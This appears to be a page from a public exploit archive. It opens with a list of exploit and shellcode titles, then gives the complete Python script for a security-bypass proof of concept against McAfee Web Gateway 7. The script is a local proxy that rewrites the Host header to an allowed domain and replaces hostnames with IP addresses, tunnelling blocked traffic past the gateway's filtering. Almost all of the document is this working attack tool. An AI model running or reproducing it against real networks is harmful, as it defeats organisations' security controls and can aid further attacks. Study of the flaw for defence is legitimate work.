
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
165 lines
No EOL
4 KiB
Python
Executable file
165 lines
No EOL
4 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/53015/info
|
|
|
|
McAfee Web Gateway is prone to a security-bypass vulnerability because it fails to properly enforce filtering rules.
|
|
|
|
A successful attack will allow an attacker to bypass intended security restrictions; this may aid in other attacks.
|
|
|
|
McAfee Web Gateway 7 is vulnerable; other versions may also be affected.
|
|
|
|
import socket,struct,sys,time
|
|
from threading import Thread
|
|
|
|
|
|
#The timeOut can be changed if the proxy is slow.
|
|
#Tested in GMail, Facebook, Youtube and several blocked sites.
|
|
#The proxy get the Host field of the http header and do not verify anything else.
|
|
#It trusts on the HTTP Header and it can be modified by the attacker.
|
|
|
|
timeOut = 0.8
|
|
isGet = 0
|
|
hostNameG = ""
|
|
pacoteGet = ""
|
|
port = 8080 #Listening port
|
|
proxyAddr = "vulnerableProxy.com" #vulnerable proxy
|
|
proxyPort = 8080 # proxy port
|
|
|
|
def handle(client,globalSock):
|
|
|
|
client.settimeout(timeOut)
|
|
|
|
global hostNameG
|
|
|
|
|
|
while 1:
|
|
|
|
dados = ""
|
|
tam = 0
|
|
while 1:
|
|
try:
|
|
dados2 = client.recv(1024)
|
|
tam = tam + len(dados2)
|
|
dados = dados + dados2
|
|
except socket.timeout:
|
|
|
|
break
|
|
|
|
|
|
dd = dados.find("CONNECT") #if the packet is a CONNECT METHOD
|
|
if dd != -1:
|
|
dd2 = dados.find(":")
|
|
hostName = dados[dd+8:dd2]
|
|
|
|
ipAddr = socket.gethostbyname(hostName) #changing the method to connect to the ip address, not the dns domain
|
|
pacote = dados
|
|
hostHeader = "Host: " + hostName
|
|
pacote = pacote.replace(hostHeader, "Host: www.uol.com.br") #changing the host field with a value that is accepted by the proxy
|
|
pacote = pacote.replace(hostName, ipAddr) #changind domain for ip
|
|
|
|
|
|
|
|
dados = pacote
|
|
|
|
getd = dados.find("GET ")
|
|
getd2 = dados.find("//")
|
|
getd3 = dados.find("/", getd2+2)
|
|
hostName = dados[getd2+2:getd3]
|
|
|
|
|
|
if getd != -1:
|
|
globalSock.close()
|
|
globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
globalSock.connect((proxyAddr,proxyPort))
|
|
globalSock.settimeout(timeOut)
|
|
getd2 = dados.find("//")
|
|
getd3 = dados.find("/", getd2+2)
|
|
|
|
hostName = dados[getd2+2:getd3]
|
|
|
|
proxyAuth = ""
|
|
proxyAuthN = dados.find("Proxy-Authorization:")
|
|
if proxyAuthN != -1:
|
|
proxyAuthNN = dados.find("\r\n", proxyAuthN)
|
|
proxyAuth = dados[proxyAuthN:proxyAuthNN]
|
|
|
|
|
|
ipAddr = socket.gethostbyname(hostName)
|
|
|
|
info = "CONNECT " + ipAddr + ":80 HTTP/1.1\r\n"
|
|
if proxyAuthN != -1:
|
|
info += proxyAuth + "\r\n"
|
|
|
|
info += "Host: www.uol.com.br\r\n\r\n"
|
|
|
|
globalSock.send(info)
|
|
tam = 0
|
|
gdata = ""
|
|
|
|
while 1:
|
|
try:
|
|
|
|
gdata2 = globalSock.recv(1024)
|
|
|
|
tam = tam + len(gdata2)
|
|
gdata = gdata + gdata2
|
|
|
|
if len(gdata2) == 0:
|
|
break
|
|
|
|
|
|
except socket.timeout:
|
|
|
|
break
|
|
|
|
|
|
|
|
|
|
|
|
globalSock.send(dados)
|
|
tam = 0
|
|
gdata = ""
|
|
|
|
while 1:
|
|
try:
|
|
|
|
gdata2 = globalSock.recv(1024)
|
|
|
|
if len(gdata2) > 0:
|
|
client.send(gdata2)
|
|
|
|
tam = tam + len(gdata2)
|
|
gdata = gdata + gdata2
|
|
|
|
if len(gdata2) == 0:
|
|
break
|
|
|
|
|
|
except socket.timeout:
|
|
|
|
break
|
|
|
|
|
|
|
|
|
|
print 'Proxy Bypass'
|
|
print 'by Gabriel Menezes Nunes'
|
|
print 'Tested on McAfee Web Gateway 7 and Squid Proxy'
|
|
sockzao = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
print 'Attacked Proxy:',
|
|
print proxyAddr
|
|
print 'Listening on',
|
|
print port
|
|
sockzao.bind(("",port))
|
|
|
|
sockzao.listen(6)
|
|
|
|
while 1:
|
|
print 'Waiting for connections'
|
|
client, address = sockzao.accept()
|
|
print 'Client Connected'
|
|
print address
|
|
globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
globalSock.connect((proxyAddr,proxyPort))
|
|
globalSock.settimeout(timeOut)
|
|
|
|
t = Thread(target=handle, args=(client,globalSock,))
|
|
t.start() |